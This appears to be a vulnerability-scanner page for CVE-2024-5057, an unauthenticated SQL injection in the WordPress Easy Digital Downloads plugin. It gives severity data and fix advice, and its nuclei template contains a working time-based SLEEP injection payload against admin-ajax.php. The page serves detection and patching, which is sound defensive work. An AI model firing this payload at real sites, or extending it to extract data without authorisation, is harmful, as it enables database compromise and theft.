WordPress Easy Digital Downloads <= 3.2.12 - SQL Injection

criticalseverity

9.8CVSS score

2.6%likelihood of exploitation, next 30 days

85%of all CVEs are less likely

Readycheck to confirm it

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Easy Digital Downloads allows SQL Injection.This issue affects Easy Digital Downloads: from n/a through 3.2.12.

Impact

Attackers can execute arbitrary SQL commands, potentially leading to data leakage, data tampering, or full database compromise.

Fix

Update to the latest version of Easy Digital Downloads, at least version 3.3.1 or later.

How to confirm it

Send: GET {{BaseURL}}/wp-content/plugins/easy-digital-downloads/readme.txt
Positive when: status_code == 200 and contains(body, "Easy Digital Downloads")
Send: @timeout: 10s
Positive when: duration >= 6 and status_code == 200 and contains(body, "[]")

Run it with nuclei: nuclei -id CVE-2024-5057 -u <target>

The full check

id: CVE-2024-5057

info:
  name: WordPress Easy Digital Downloads <= 3.2.12 - SQL Injection
  author: daffainfo
  severity: critical
  description: |
    Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Easy Digital Downloads allows SQL Injection.This issue affects Easy Digital Downloads: from n/a through 3.2.12.
  impact: |
    Attackers can execute arbitrary SQL commands, potentially leading to data leakage, data tampering, or full database compromise.
  remediation: |
    Update to the latest version of Easy Digital Downloads, at least version 3.3.1 or later.
  reference:
    - https://patchstack.com/database/vulnerability/easy-digital-downloads/wordpress-easy-digital-downloads-plugin-3-2-12-sql-injection-vulnerability?_s_id=cve
    - https://plugins.trac.wordpress.org/changeset/3120759/easy-digital-downloads/tags/3.3.1/src/Downloads/Search.php
    - https://nvd.nist.gov/vuln/detail/CVE-2024-5057
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-5057
    epss-score: 0.02588
    epss-percentile: 0.85395
    cwe-id: CWE-89
    cpe: cpe:2.3:a:awesomemotive:easy_digital_downloads:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: awesomemotive
    product: easy_digital_downloads
    framework: wordpress
  tags: cve,cve2024,wordpress,wp,wp-plugin,awesomemotive,easy-digital-downloads,unauth,sqli,vkev,vuln

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/easy-digital-downloads/readme.txt"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "Easy Digital Downloads")'
        condition: and
        internal: true

  - raw:
      - |
        @timeout: 10s
        GET /wp-admin/admin-ajax.php?action=edd_download_search&s=a')/**/AND/**/SLEEP(6)%23 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration >= 6'
          - 'status_code == 200'
          - 'contains(body, "[]")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from